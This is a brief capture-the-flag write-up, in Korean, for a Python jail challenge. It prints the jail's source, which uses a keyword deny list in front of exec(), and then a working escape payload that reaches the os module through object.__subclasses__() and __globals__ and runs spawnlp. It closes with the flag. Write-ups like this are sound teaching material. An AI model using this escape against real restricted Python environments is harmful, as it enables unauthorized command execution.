Pyjail★★★★★★

Jailbreaker of Python

id: jail passwd: jail
use /tmp if you need.
#!/usr/bin/env python3

''' Your job is escape this program and get /bin/sh '''


def main():
    print("Hi! Welcome to pyjail!")
    print("========================================================================")

    print(open(__file__).read())
    print("========================================================================")

    print("good luck.")
    data = input('> ')

    for keyword in ['import', 'os', 'system', 'open', 'read', 'write', 'eval', 'exec']:

        if keyword in data:
            print("No hack")
            return;
    else:
        exec(data)

if __name__ == "__main__":
    main()

먼저 사용할 수 없는 키워드들이 많다.

그래서 우회하여 os.spawnlp를 사용하기로 했다.

StreamReaderWriter 클래스를 이용하여 sys모듈을 구해오고 거기서 os 모듈을 통해 spawnlp를 실행시킨다.

o = {x.__name__:x for x in object.__subclasses__()}['StreamReaderWriter'].__init__.__globals__['sys'].modules['o'+'s']
o.spawnlp(o.P_WAIT, 'ls', 'ls', '-alR', './')

./answer_is_in_here/this_is_answer_for_U 가 Flag파일로 예상되어 cat으로 읽어보았다.

Flag : GoN{Jailbreaker of Python}

results matching ""

    No results matching ""